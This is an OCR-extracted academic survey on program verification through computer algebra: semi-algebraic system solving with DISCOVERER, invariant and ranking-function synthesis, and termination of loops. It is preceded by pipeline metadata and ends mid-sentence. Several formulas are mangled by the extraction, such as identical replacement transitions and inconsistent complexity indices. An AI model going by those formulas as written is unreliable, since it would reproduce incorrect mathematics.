5000, true], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64328, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64328, null]], "pdf_page_numbers": [[0, 443, 1], [443, 443, 2], [443, 3158, 3], [3158, 6605, 4], [6605, 6646, 5], [6646, 9802, 6], [9802, 9834, 7], [9834, 13371, 8], [13371, 16522, 9], [16522, 19519, 10], [19519, 19568, 11], [19568, 22541, 12], [22541, 25425, 13], [25425, 28635, 14], [28635, 32095, 15], [32095, 33271, 16], [33271, 35958, 17], [35958, 39182, 18], [39182, 42276, 19], [42276, 45491, 20], [45491, 48226, 21], [48226, 51620, 22], [51620, 54662, 23], [54662, 54738, 24], [54738, 57920, 25], [57920, 58422, 26], [58422, 60759, 27], [60759, 63147, 28], [63147, 64328, 29]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64328, 0.0]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
af8e95f29aeb121ece76fd7f175a2317ed29f7ab
Recent Advances in Program Verification Through Computer Algebra Lu Yang¹, Chaochen Zhou², Naijun Zhan² and Bican Xia³ 1 Lab. of Trustworthy Computing, East China Normal University 2 Lab. of Computer Science, Institute of Software, Chinese Academy of Sciences 3 LMAM & School of Mathematical Sciences, Peking University © Higher Education Press and Springer-Verlag 2008 Abstract In this paper, we summarize the results on program verification through semi-algebraic systems solving that we have obtained, including automatic discovery of invariants and ranking functions, symbolic decision procedure for the termination of a class of linear loops, termination analysis of nonlinear systems, and so on. Keywords program verification, computer algebra, semi-algebraic systems solving, embedded systems, invariants, ranking functions, termination 1 Motivation In this section, we will explain the motivation of this work and introduce the related work. 1.1 The design of trustworthy software is a grand challenge As the modern society becomes more and more computerized, it is not taken granted to claim that we could not live without computer, as computer has been applied to every area in our life from the control panel of washing machine to the control system of rocket and so on. In particular, many of these applications are so-called safety critical systems [24], any fault happening in them may result in catastrophic consequences. For instances, Ariane 5’s maiden flight (Ariane 5 Flight 501) on 4 June 1996 failed with the rocket self-destructing in 37 seconds after the launch because of a malfunction in the control software [35]; The Patriot missile [51] missed the goal resulting in nearly 30 soldiers died in the first Gulf War because of rounding error; The Mars Exploration Rover “Spirit” suffered a debilitating anomaly that prevented communication with Earth for several anxious days [46] because of its file system, etc. How to design these software systems and guarantee them trustworthy, that is, these systems exactly behave as what are expected, is a grand challenge in computer science [52]. Formal methods are based on rigorous mathematics and thought as an effective way to attack the challenge, and have been made great success in practice. So far, three formal techniques for designing and verifying trustworthy software have been well-established, and widely and successfully applied in practice, i.e., model-checking [11, 45], theorem proving [41–43] and abstraction interpretation [18, 19]. 1.2 Classical program theories are not enough for the new challenge Classical program theories are mainly based on discrete mathematics, and have been well developed to handle discrete variables. However, in recent years, computers have been applied to numerous systems with continuous behaviour, in particular so-called hybrid systems which are the combination of continuous and discrete behaviours. Most of these systems are also embedded in physical devices (therefore also called embedded systems) and demand critical safety (thus also called safety-critical systems). Clearly, these systems cannot be well designed and verified using classical program theories. Thus, it is desirable as well as a challenge to look for new program theories that accommodate continuous mechanisms. The first attempt towards the challenge is due to Zhou et al by introducing integral into interval temporal logic [37] and establishing Duration Calculus [71]. Inspired by Dura- tion Calculus, some other attempts have also been done, e.g. hybrid automata [1], TLf [36], TLA+ [32], and hybrid statecharts [30], and so on, by introducing differential or integral equation to model continuous behaviour of systems. Absolutely, the design of trustworthy software needs richer mathematical knowledge. In fact, recently more and more mathematical theories are found to be quite useful in program verification. For example, the theory of Gröbner Base is successfully applied to invariant generation of programs [47, 48, 50]. The first-order quantifier elimination techniques, mainly based on cylindrical algebra decomposition [12, 13], have been used in reachability computation of linear hybrid systems [33, 69] and program verification [29], and so on. 1.3 A challenge from verification of non-linear systems Non-linear programs (systems) are a very important class of programs, in particular in scientific computing. However, most well-established work concentrates on linear programs (systems). For examples, most results on hybrid systems are on linear hybrid systems and little or nonlinear ones (of course lots of them can be approximated by linear systems [25]). Most termination analysis work focus on special classes of linear programs [44, 53]; and so on. In general, the verification of non-linear systems is much more difficult, and needs richer and deeper mathematical knowledge, in particular continuous mathematics. How to verify nonlinear systems is still a challenging problem. 1.4 Synopsis Our efforts commenced five years ago, when Lu Yang and Bican Xia, two experts on computer algebra, and Chaochen Zhou and Naijun Zhan, two experts on computer science were encouraged by the similar research in other countries and realized that it would be interesting to investigate if the theories and tools on computer algebra developed by Chinese mathematicians and computer scientists can successfully be applied to program verification. With the fund of Natural Science Foundation of China (NSFC) under the grant 60573007 “Application of Real Algebraic and Symbolic Computation to Formal Methods”, we four persons formed an interdisciplinary team and started our attempt. The research was then further stressed by the key project “Analysis, Verification and Tools on Embedded Softwares based on Computer Algebra” under the grant 90718041 within the framework of “Basic Research on Trustworthy Software” funded by NSFC. At the same time, our team was strengthened as new participants joined. In a word, what we have obtained up to now include: - By exploiting our team members’ algorithm on solving semi-algebraic systems (SASs), in particular on root classification of parametric SASs [65, 67, 68] and real root isolation of constant SASs [58, 60], we have proposed a more practical and efficient approach to discovery of invariants and ranking functions of polynomial programs over real closed fields. Compared with other well-established work in this area, the advantages of our approach lie in: First, it can efficiently generate more expressive invariants; Second, our approach can be applied to nonlinear programs and discover nonlinear ranking functions, in contrast with that other well-known approaches can only be applied to linear programs and discover linear ranking functions; Finally, our approach is also complete in the sense that it can always tell you whether there exists a demanded polynomial invariant (or ranking function), and generate it if so. The outline of our approach is as follows: We first redefine a polynomial template of invariant (ranking function); Then we reduce invariant generation (ranking function discovering) to semi-algebraic system solving; After this we apply our theories and tools on solving SASs to produce some necessary and sufficient conditions; And finally utilize the technique of quantifier elimination to handle the derived conditions and obtain invariants (resp. ranking functions) with the predefind form. - We Revisited the result reported in [53] and gave a symbolic decision procedure for termination of the class of linear loops considered in [53]. We showed that the complexity of our symbolic decision procedure is not higher than the numerical one in [53]. In particular, we invented a symbolic decision procedure with polynomial complexity for the special case, where the characteristic polynomial of the assignment matrix of a given loop is irreducible. - We considered the termination problems of some classes of nonlinear programs. First, we showed that the termination problem of the following non-linear program $\tilde{P}_1$ is decidable under a reasonable assumption, and conjectured it is undecidable in general: $$\tilde{P}_1: \quad \text{while } (P(X) > b) \quad \{ X := AX + C \}$$ where $X = [x_1 \ldots x_N]^T$ is the vector of program variables, $P(X) = [P_1(X) \ldots P_M(X)]^T > b$ are polynomial constraints, each $P_i(X) (1 \leq i \leq M)$ is a polynomial in $\mathbb{Q}[X]$, and $A$ is an $N \times N$ matrix over $\mathbb{Q}$ (the rational numbers). Second, we considered the termination problem of so-called loop over intervals, i.e. $$P_\Omega: \quad \text{while } (x \in \Omega) \quad \{ x := f(x) \}$$ where $x$ is the only program variable, $\Omega$ is an interval and $f$ is a continuous function. In [70], Yao established necessary and sufficient conditions for the termination problem of the program, and proved that the termination is decidable if \( f \) is a piecewise polynomial function. - Some other results, for example, in [63], Xu, Chen and Li investigated the reachability computation of non-linear hybrid systems; while in [64], Xu et al gave a method on how to compute reachable sets of rational eigenvalue linear hybrid systems; in [69], we proposed an off-line approach to generate sufficient termination conditions for linear loops. Also, in [69], we showed how to use DISCOVERER to improve the efficiency of the computation of reachable sets of linear hybrid systems; etc. In this paper, we will briefly introduce the results listed in the first three items above. 1.5 Related work Work on program verification can date back to the late sixties (or early seventies) of the 20th century when the so-called Floyd-Hoare-Naur’s inductive assertion method [22, 26, 40] was invented, which was thought as the dominant approach on automatic program verification. The method is based on Hoare Logic [26], by using pre- and post-conditions, loop invariants and termination analysis through ranking functions, etc. Therefore, the discovery of loop invariants and ranking functions plays a central role in proving the correctness of programs and is also thought of as the most challenging part of the approach. Since then, there have been lots of attempts to handle invariant generation of programs, e.g. [23, 27, 28, 54], but only with a limited success. Recently, due to the advance of computer algebra, several methods based on symbolic computation have been applied successfully to invariant generation, for example the techniques based on abstract interpretation [7, 16, 17, 47], quantifier elimination [14, 29] and polynomial algebra [38, 39, 48–50]. The basic idea behind the approaches based on abstract interpretation is to perform an approximate symbolic execution of a program until an assertion is reached that remains unchanged by further executions of the program. However, in order to guarantee termination, the method introduces imprecision by use of an extrapolation operator called widening/narrowing. This operator often causes the technique to produce weak invariants. Moreover, proposing widening/narrowing operators with certain concerns of completeness is not easy and becomes a key challenge for abstract interpretation based techniques [7, 17]. In contrast, approaches by exploiting the theory of polynomial algebra to discover invariants of polynomial programs were proposed in [38, 39, 48–50]. In [38], Mueller-Ohm and Seidl applied the technique of linear algebra to generate polynomial equations of bounded degree as invariants of programs with affine assignments. In [48, 49], Rodríguez-Carbonell and Kapur first proved that the set of polynomials serving as loop invariants has the algebraic structure of ideal, then proposed an invariant generation algorithm by using fixpoint computation, and finally implemented the algorithm by the Gröbner bases and the elimination theory. The approach is theoretically sound and complete in the sense that if there is an invariant of the loop that can be expressed as a conjunction of polynomial equations, applying the approach can indeed generate it. Sankaranarayanan et al in [50] presented a similar approach to finding polynomial equation invariants whose form is priori determined (called templates) by using an extended Gröbner basis algorithm. Compared with polynomial algebra based approaches that can only generate invariants represented as polynomial equations, Colón et al in [14] proposed an approach to generate linear inequalities as invariants for linear programs, based on Parkas’ Lemma and linear constraint solving. In addition, Kapur in [29] proposed a very general approach for automatic generation of more expressive invariants by exploiting the technique of quantifier elimination, and applied the approach to Presburger Arithmetic and quantifier-free theory of conjunctively closed polynomial equations. Theoretically speaking, the approach can also be applied to the theory of real closed fields, but Kapur also pointed out in [29] that this is impractical in reality because of the high complexity of quantifier elimination, which is double exponential [21]. The classical method for establishing termination of a program is the use of well-founded domain together with so-called ranking function that maps the state space of the program to the domain. Termination is then concluded by demonstrating that each step as the program moves forwards decreases the measure assigned by the ranking function. As there can be no infinite descending chain of elements in a well-founded domain, any execution of the program must eventually terminate. Clearly, the existence of such a ranking function for any given program implies its termination. Recently, the synthesis of ranking functions draws increasing attention, and some heuristics concerning how to automatically generate linear ranking functions for linear programs have been proposed [15, 20, 44]. Dans et al in [20] proposed a heuristic strategy to synthesize a linear ranking function according to the syntax of a linear program. Since in many cases there does not exist obvious correlation between the syntax of a program and its ranking functions, this approach is very restrictive. Notably, Colón and Sipma in [15] utilized the theory of polyhedra to synthesize linear ranking function of linear programs, and Podelski and Rybalchenko in [44] first presented a complete method to find out linear ranking functions for a class of linear pro- programs that have only single path without nested loop, in the sense that if there exists a linear ranking function for a program in the class, then the method can discover it. Existence of ranking function is only a sufficient condition on the termination of a program. It is easy to construct programs that terminate, but without ranking function. Furthermore, in [9] we found that even if a program has ranking functions, it may not have any linear ones. Besides, it is well-known that the termination of programs is undecidable in general, even for the class of linear programs [53] or a simple class of polynomial programs [8]. In contrast to the above approach, Tiwari [53] identified a useful class of linear programs and proved the decidability of the termination problem of the class over reals, while Braverman continued the work and proved the decidability of the class over integers [6]. In [69], we further developed the work of [53] by calculating symbolic (sufficient) conditions for the termination of its subclasses through computer algebra tool, DISCOVERER. Linear programs with linear ranking functions compose a very small class of programs. As to polynomial programs, Bradley et al in [8] proposed an incomplete method to decide whether a polynomial program terminates by using the technique of finite difference tree. However, the approach can be only used to tackle very simple polynomial programs, that have “polynomial behavior”. Following the research line of [29], Cousot in [16] presented a very general approach to ranking function discovering and invariant generation of linear and polynomial programs. The basic idea of the approach is: First the program semantics is expressed in polynomial form; Then the unknown rank functions and invariants are predefined in parametric form; Consequently, the implication in the Floyd-Hoare-Naur verification conditions is handled by abstraction into numerical constraints by Lagrangian relaxation; Finally, the remaining universal quantification is handled by semidefinite programming and the related solvers. Compared with the approach of [29], Cousot’s approach is more efficient, as first-order quantifier elimination is not directly applied there. However, Cousot’s approach is incomplete in the sense that, for some program that may have ranking functions and invariants of the predefined form, applying the approach may not be able to find them, as Lagrangian relaxation and over-approximation of the positive semi-definiteness of a polynomial are used. 2 Semi-algebraic system solving Let \( K[x_1, \ldots, x_n] \) be the ring of polynomials in \( n \) indeterminates with coefficients in the field \( K \) with \( X = \{x_1, \ldots, x_n\} \) and the order \( x_1 < x_2 < \cdots < x_n \). Then, the leading variable of a polynomial \( p \) is the variable with the greatest index which indeed occurs in \( p \). If the leading variable of a polynomial \( p \) is \( x_1 \), \( p \) can be collected w.r.t. its leading variable as \( p = c_m x_1^m + \cdots + c_0 \) where \( m \) is the degree of \( p \) w.r.t. \( x_1 \) and \( c_m \) are polynomials in \( K[x_2, \ldots, x_k] \). We call \( c_m x_1^m \) the leading term of \( p \) w.r.t. \( x_1 \) and \( c_m \) the leading coefficient. An atomic polynomial formula over \( K[x_1, \ldots, x_n] \) is of the form \( p(x_1, \ldots, x_n) > 0 \), where \( \triangleright \in \{=, >, \geq, \neq\} \). A polynomial formula is a boolean combination of atomic polynomial formulæ. We will denote by \( PF(K[x_1, \ldots, x_n]) \) the set of polynomial formulæ over \( K[x_1, \ldots, x_n] \) and by \( CPF(K[x_1, \ldots, x_n]) \) the set of conjunctive polynomial formulæ over \( K[x_1, \ldots, x_n] \), which only contain logical connective \( \land \), respectively. An atomic fractional formula over \( K[x_1, \ldots, x_n] \) is of the form \( \frac{p(x_1, \ldots, x_n)}{q(x_1, \ldots, x_n)} > 0 \), where \( p(x_1, \ldots, x_n) \neq 0 \) is relative prime to \( q(x_1, \ldots, x_n) \), both of them are in \( K[x_1, \ldots, x_n] \), and \( \triangleright \in \{=, >, \geq, \neq\} \). A fractional formula is a boolean combination of atomic fractional formulæ. We will denote by \( FPF(K[x_1, \ldots, x_n]) \) the set of fractional formulæ over \( K[x_1, \ldots, x_n] \). It is easy to prove that \( FPF(K[x_1, \ldots, x_n]) \) is as expressive as \( PF(K[x_1, \ldots, x_n]) \). A semi-algebraic system (SAS) is a conjunctive polynomial formula of the following form \[ \begin{align*} p_1(u, x) &= 0, \ldots, p_s(u, x) = 0, \\ g_1(u, x) &\geq 0, \ldots, g_r(u, x) \geq 0, \\ g_{r+1}(u, x) &> 0, \ldots, g_t(u, x) > 0, \\ h_1(u, x) &\neq 0, \ldots, h_m(u, x) \neq 0. \end{align*} \] It is also written as \[ [F, N, P, H] \] where \( F, N, P \) and \( H \) stand for \([p_1, \ldots, p_s], [g_1, \ldots, g_r], [g_{r+1}, \ldots, g_t], [h_1, \ldots, h_m] \) respectively. Herein, \( x = (x_1, \ldots, x_n) \) are variables and \( u = (u_1, \ldots, u_d) \) are parameters whose values are in \( \mathbb{R} \) and \( p_i, g_j, h_k \) are polynomials in \( Q[u, x] \) with \( n, s \geq 1, d, r, t, m \geq 0 \). An SAS is called constant if it contains no parameters, i.e., \( d = 0 \), otherwise parametric. There are many interesting problems concerning SASs which have important applications. For example, if \( S \) is a constant SAS. 1.1 Which does \( S \) have infinite number of real solutions? 1.2 If \( S \) has finite number of (distinct) real solutions, what is the number and how to isolate the real solutions? if \( S \) is a parametric SAS, 2.1 What is the necessary and sufficient condition on the parameters for \( S \) to have a prescribed number of (distinct) real solutions? The problems 1.1 and 1.2 were solved in [58, 60], while the problem 2.1, that is classification of real roots of PSASs, was well solved in [67]. DISCOVERER [57] is a package of procedures to implement the above theories developed with Maple. Since Maple 13, DISCOVERER has been integrated into the RegularChains package of Maple. The main features of DISCOVERER include real solution classification of parametric sas (i.e. Problem 2.1), and real solution counting and isolating of constant sas (i.e. Problem 1.2). Let us show by a simple example how to use the function of DISCOVERER in Maple 13. Suppose $$F = ax^2 + bx + c, \quad N \in \mathbb{Z}, \quad P \in \mathbb{Z}, \quad H \in \mathbb{Z},$$ where $x$ is variable and $a, b, c$ are parameters. We want to know the condition on $a, b, c$ such that the system $[F, N, P, H]$ has no real solutions. In Maple 13, we type the following commands. ```plaintext > with(RegularChains): > with(ParametricSystemTools): > with(SemialgebraicSetTools): > infolevel[RegularChains]:=1: > R := PolynomialRing([x, a, b, c]); > F := [ax^2+bx+c]; N := [1]; P := [1]; H := [1]; > rrc := RealRootClassification(F, N, P, H, 3, 0, R); ``` The first three commands load the package. Although the final result can be read from `rrc`, the fourth command can provide some pretty printing information. The fifth and sixth lines define the system and the last command computes the condition we want. Therein, 3 is the number of parameters and 0 is the prescribed number of real solutions. For the details of `RealRootClassification` and `RealRootCounting`, please refer to the corresponding help pages in Maple 13. ### 3 Invariant generation and non-linear ranking function discovering In this section, we will sketch our approach on reduction invariant generation and nonlinear ranking discovering to solving SASs. #### 3.1 Basic notions For our purpose, we need the following basic notions. First, a program is represented as a labeled transition system which is a quintuple $(V, L, T, l_0, \Theta)$, where $V$ is a set of program variables, $L$ is a set of locations, and $T$ is a set of transitions. Each transition $\tau \in T$ is a quadruple $(l, l_1, \rho_\tau, \theta_\tau)$, where $l_1$ and $l_2$ are the pre- and post-locations of the transition, the transition relation $\rho_\tau$ is a first-order formula over $V \cup V'$, and $\theta_\tau$ is a first-order formula over $V$, which is the guard of the transition. The location $l_0$ is the initial location, and the initial condition $\Theta$ is a first-order formula over $V$. Only if $\theta_\tau$ holds, the transition can take place. Here, we use $V'$ (variables with prime) to denote the next-state variables. If all formulae of a transition system are from $\text{CPF}(K[x_1, \ldots, x_n])$, the system is also called semi-algebraic transition system (SATS). Similarly, a system is called polynomial transition system (PTS) (resp. fractional transition system (FPTS)), if all its formulae are in $\text{PF}(K[x_1, \ldots, x_n])$ (resp. FPF($K[x_1, \ldots, x_n]$)). A state is a valuation of the variables in $V$. The state space is denoted by $\text{Val}(V)$. Without confusion we will use $V$ to denote both the variable set and an arbitrary state. The semantics of transition systems can be explained through state transitions as usual. We denote the transition $\tau = (l, l_1, \rho_\tau, \theta_\tau)$ by $l_0 \Rightarrow_{l, \rho_\tau} l_1$, or simply by $l_0 \xrightarrow{\tau} l_1$. A sequence of transitions $l_1 \xrightarrow{} l_2, \ldots, l_n \xrightarrow{} l_{n+1}$ is called composable if $l_2 = l_{i+1}$ for $i = 1, \ldots, n - 1$, and written as $l_1 \xrightarrow{} l_2 \xrightarrow{} \cdots \xrightarrow{} l_n$. A composable sequence is a transition cycle at $l_1$, if $l_{i+1} = l_{i+1}$. For any composable sequence $l_0 \xrightarrow{} l_1 \xrightarrow{} \cdots \xrightarrow{} l_n$, it is easy to show that there is a transition of the form $l_0 \Rightarrow_{l_0} l_1 \cdots \Rightarrow_{l_{n-1}} l_n$ such that the composable sequence is equivalent to the transition, where $\theta_1, \theta_2, \ldots, \theta_n$ and $\theta_{n+1}, \ldots, \theta_{n-1}$ are the compositions of $\theta_1, \theta_2, \ldots, \theta_n$ and $\theta_{n+1}, \ldots, \theta_{n-1}$, respectively. **Definition 1 (Invariant at a Location)** Let $P = (V, L, T, l_0, \Theta)$ be a transition system. An invariant at a location $l \in L$ is a formula $\phi$ over $V$ such that $\phi$ holds on all states that can be reached at location $l$. **Definition 2 (Invariant of a Program)** An assertion map for a transition system $P = (V, L, T, l_0, \Theta)$ is a map associating each location of $P$ with a formula. An assertion map $\eta$ of $P$ is said to be inductive iff the following conditions hold: - **Initiation:** $\Theta(l_0) \models \eta(l_0)$. - **Consequence:** For each transition $\tau = (l, l_1, \rho_\tau, \theta_\tau)$, $$\eta(l_1)(V) \land \rho_\tau(V, V') \land \theta_\tau(V) \models \eta(l_1)(V')$$ **Definition 3 (Ranking Function)** Assume $P = (V, L, T, l_0, \Theta)$ is a transition system. A ranking function is a function $\gamma : \text{Val}(V) \rightarrow \mathbb{R}^+$ such that the following conditions are satisfied: - **Initiation:** $\Theta(l_0) \models \gamma(l_0) \geq 0$. - **Decreasing:** There exists $C \in \mathbb{R}^+$ such that for any transition cycle $l_0 \Rightarrow_{l_1, \rho_1} l_2 \cdots \Rightarrow_{l_{n-1}, \rho_{n-1}} l_n \Rightarrow_{l_0}$, $$\rho_{l_1, l_2, \ldots, l_n}(V, V') \land \theta_{l_1, l_2, \ldots, l_n}(V) \models \gamma(V) - \gamma(V') \geq C \land \gamma(V') \geq 0.$$ #### 3.2 Generating polynomial invariants Given an SATS $S$, the procedure of generating polynomial invariants with the approach of [10] includes the following 4 steps: 1. Predefine a template of invariants at each of the underlining locations, which is a PSAS. All of these predefined PSASs form a parametric invariant of the program. 2. According to Definition 2, we have \( \Theta \models \eta(l_0) \) which means that each real solution of \( \Theta \) must satisfy \( \eta(l_0) \). In other words, \( \Theta \land \neg \eta(l_0) \) has no common real solutions. This implies that for each atomic polynomial formula \( \phi \) in \( \eta(l_0) \), \( \Theta \land \neg \phi \) has no real solutions. Note that \( \eta(l_0) \) is a conjunction of a set of atomic polynomial formulae and therefore \( \Theta \land \neg \phi \) is a PSAS according to the definition. Thus, applying the tool DISCOVERER to the resulting PSAS \( \Theta \land \neg \phi \), we get a necessary and sufficient condition such that the derived PSAS has no real solutions. The condition may contain the occurrences of some program variables. In this case, the condition should hold for any instantiations of these variables. Thus, by universally quantifying these variables (we usually add a scope to each of these universally quantified variables according to the program) and then applying QEPCAD, we can get a necessary and sufficient condition only on the presumed parameters. Repeatedly apply the procedure to each atomic polynomial formula of the predefined invariant at \( l_0 \) and then conjunct all the resulting conditions. 3. From Definition 2, for each transition \( \tau = (l_i, l_j, p, \theta_r) \), \( \eta(l_i) \land p \land \theta_r \models \eta(l_j) \), so \( \eta(l_i) \land p \land \theta_r \land \neg \eta(l_j) \) has no real solutions, which implies that for each atomic polynomial formula \( \phi \) in \( \eta(l_i) \), \[ \eta(l_i) \land p \land \theta_r \land \neg \phi \] has no real solution. It is clear that (2) is a PSAS. By applying the tool DISCOVERER, we obtain a necessary and sufficient condition on the parameters for (2) to have no real solution. Similarly to Step 2, we may need to use quantifier elimination in order to get a necessary and sufficient condition only on the presumed parameters. 4. According to the results obtained from Steps 1, 2, and 3, we can get the final necessary and sufficient condition only on the parameters of each of the invariant templates. If the condition is too complicated, we can utilize the function of PCAD of DISCOVERER or QEPCAD to prove if or not the condition is satisfied. If yes, the tool can produce the instantiations of these parameters. Thus, we can get an invariant of the predetermined form by replacing the parameters with the instantiations, respectively. Note that the above procedure is complete in the sense that for any given predefined parametric invariant, the procedure can always produce the corresponding concrete invariant, if it exists. Therefore, we can also conclude that our approach is also complete in the sense that once the given polynomial program has a polynomial invariant, our approach can indeed find it theoretically, because we can assume parametric invariants in program variables of different degrees, and repeatedly apply the above procedure until we obtain a polynomial invariant. We use the following example first given in [10] and revised in [59] to illustrate the above procedure. **Example 1** The code of the program is on Fig.1 and its corresponding SATS is on Fig.2. ![Fig.1](image) ![Fig.2](image) Firstly, we redefine a parametric invariant at \( l_0 \) as \[ eq(x, y) = a_1y^3 + a_2y^2 + a_3x - a_4y = 0, \quad (3) \] \[ \text{ineq}(x, y) = b_1x + b_2y^2 + b_3y + b_4 > 0 \quad (4) \] where \( a_1, a_2, a_3, a_4, b_1, b_2, b_3, b_4 \) are parameters. Therefore, \( \eta(l_0) = (3) \land (4) \). Secondly, according to Initiation of Definition 2, \( \Theta \models \eta(l_0) \) is equivalent to neither of the following two PSASs having real solutions. \[ x = 0, y = 0, \text{eq}(x, y) \neq 0 \] \[ x = 0, y = 0, \text{ineq}(x, y) \leq 0 \] Obviously, (5) has no real solutions iff true while (6) has no real solutions iff \( b_4 > 0 \). Thirdly, consider Construction w.r.t. the transition \( \tau \). We have \[ eq(x, y) = 0 \land x' - x - y^2 = 0 \land y' - y - 1 = 0 \] \[ \models \text{eq}(x', y') = 0 \land \text{ineq}(x', y') > 0. \] This means that the following two PSASs both have no real solutions. \[ eq(x, y) = 0 \land x' - x - y^2 = 0 \land y' - y - 1 = 0 \land \] \[ \land \text{eq}(x', y') \neq 0 \quad (8) \] \[ \text{ineq}(x, y) > 0 \land x' - x - y^2 = 0 \land y' - y - 1 = 0 \land \] \[ \land \text{ineq}(x', y') \leq 0 \quad (9) \] 3.3 Discovering non-linear ranking functions According to the definitions, a ranking function can be seen as a special loop invariant of a loop at the entry point. Therefore, the above procedure still works for non-linear ranking function discovering subject to appropriate modifications. Roughly speaking, the approach on discovering non-linear ranking functions in [9] comprises the following 4 steps: **Step 1** Predetermine a template of ranking functions. **Step 2** According to the bounded condition of ranking function, we have \( \theta \models \gamma \geq 0 \) which means that each real solution of \( \theta \) must satisfy \( \gamma \geq 0 \). In other words, \( \theta \land \gamma < 0 \) has no real solution. It is easy to see that \( \theta \land \gamma < 0 \) is a PSAS according to Definition 1. Therefore, by applying DISCOVERER, we get a necessary and sufficient condition for the derived PSAS to have no real solutions. The condition may contain the occurrences of some program variables. In this case, the condition should hold for any instantiations of the variables. Thus, by introducing universal quantifications of these variables (we usually add a scope to each of the variables according to different situations) and then applying QEPCAD or DISCOVERER, we can get a necessary and sufficient condition in terms of the parameters only. **Step 3** From Definition 3, there exists a positive constant \( C \) such that for any transition circle \( l_0 \supset l_1 \supset \ldots \supset l_n \), \[ \rho_{\gamma_1 \gamma_2 \ldots \gamma_n} \models \gamma(V) - \gamma(V') \geq C \land \gamma(V') \geq 0, \] equivalent to \[ \rho_{\gamma_1 \gamma_2 \ldots \gamma_n} \land \theta_{\gamma_1 \gamma_2 \ldots \gamma_n} \land \gamma(V) < 0, \quad (16) \] \[ \rho_{\gamma_1 \gamma_2 \ldots \gamma_n} \land \theta_{\gamma_1 \gamma_2 \ldots \gamma_n} \land \gamma(V) - \gamma(V') < C \quad (17) \] both have no real solutions. Obviously, (16) and (17) are PSAS according to Definition 1. Thus, by applying DISCOVERER, we obtain some conditions on the parameters. Subsequently, similarly to Step 2, we may need to use QEPCAD or DISCOVERER to simplify the resulting condition in order to get a necessary and sufficient condition in terms of the parameters only. **Step 4** According to the results obtained from Steps 1, 2 and 3, we can get the final necessary and sufficient condition only on the parameters of the ranking function template. Then, by utilizing DISCOVERER or QEPCAD, prove if or not the condition is satisfied and produce the instantiations of these parameters such that the condition holds. Thus, we can get a ranking function of the predetermined form by replacing the parameters with the instantiations, respectively. The above procedure is complete also in the sense that for any given template of ranking function, the procedure... can always synthesize a ranking function of the give template, if there indeed exist such ranking functions. 3.4 Complexity analysis Assume given an SATS $P = (V, L, T, l_0, \Theta)$, we obtain $k$ distinct PSAs in order to generate its polynomial invariants or ranking functions with the approach. W.l.o.g., suppose each of these $k$ PSAs has at most $s$ polynomial equations, and $m$ inequations and inequalities. All polynomials are in $n$ indeterminates (i.e., variables and parameters) and of degrees at most $d$. For a PSA $S$, by CAD (cylindrical algebraic decomposition) based quantifier elimination on $S$ has complexity $O((2d)^{2k+8}(s+m)^{h+4})$ according to the results of [21], which is double exponential in $n$. Thus, the total cost is $O((2d)^{2k+8}(s+m)^{h+4})$ for directly applying the technique of quantifier elimination to generating invariants and ranking functions of program as advocated by Kapur [29]. In contrast, the cost of our approach includes two parts: One is for applying real solution classification to generate condition on the parameters possibly still containing some program variables; The other is for applying first-order quantifier elimination to produce condition only on the parameters (if necessary) and further exploiting PCAD to obtain the instantiations of these parameters. According to the complexity analysis in [10], the cost for the first part is singly exponential in $n$ and doubly exponential in $t$, where $t$ stands for the dimension of the ideal generated by the $s$ polynomial equations. The cost for the second part is doubly exponential in $t$. So, compared to directly applying quantifier elimination, our approach can dramatically reduce the complexity, in particular when $t$ is much less than $n$. 3.5 Beyond semi-algebraic transition systems In this section, we will discuss how to generalize the above approach to more general programs beyond SATSs. 3.5.1 Polynomial transition systems A PTS can be transformed into an equivalent SATS by adding additional transitions. The basic idea is as follows: First, given a PTS $P$, we rewrite all guards and transitions relations in disjunctive normal form. Let $P'$ be the resulting PTS; Second, if there is a transition of the form $\tau = (i, j, \rho, \theta, \rho', \theta')$, then we replace $\tau$ by $\tau_1 = (i, j, \rho, \theta, \rho', \theta')$ and $\tau_2 = (i, j, \rho, \theta, \rho', \theta')$; if there is a transition of the form $\tau = (i, j, \rho, \rho', \theta, \theta')$, then we replace $\tau$ by $\tau_1 = (i, j, \rho, \rho', \theta, \theta')$ and $\tau_2 = (i, j, \rho, \rho', \theta, \theta')$; Repeat the second step until all guards and transition relations are conjunctive polynomial formulae. Finally, we obtain an SATS that is equivalent to $P$. We can show that the problem of discovery of invariants and ranking functions of a PTS is equivalent to that of the resulting SATS (the detailed proof can be found in [59]). 3.5.2 Fractional transition systems According to the results of polynomial algebra and the above discussions, the problems of invariant generation and ranking function discovering for FPTSs can be readily reduced to those of SATSs too. 3.6 More expressive invariants and ranking functions In this section, we will discuss how to extend the approach to synthesizing more expressive invariants and ranking functions. According to the results shown in the previous subsections, we only need to consider the case of SATSs. 3.6.1 General polynomial formula as invariant Given an SATS, we will extend the approach presented in Section 4 in the following way: In first step, we allow to predefine a template of invariant $\phi$, which is a parametric polynomial formula rather than a PSA. Then, we rewrite the parametric polynomial formula into a conjunctive normal form $\phi_1 \land \phi_2 \land \ldots \land \phi_n$, where each $\phi_i$ is a disjunction of some atomic polynomial formulæ. In the second step, according to Initiation, we have $\theta_0 \models \bigwedge_{i=1}^{n} \phi_i$. This means that $\theta_0 \models \bigvee_{i=1}^{n} \neg \phi_i$ has no real solutions. This entails that for $i = 1, \ldots, n$, $\theta_0 \models \neg \phi_i$ has no real solutions. It is easy to see that $\theta_0 \models \neg \phi_i$ is a PSA, therefore, Initiation case is reduced to solving SASs. Applying the technique used in Section 4, we can obtain a condition on the parameters only. In the third step, similarly to the above, we can show that Consecution can also be reduced to solving SASs too, and therefore, we can get another condition only on the parameters. Finally, we can instantiate the parameters according to 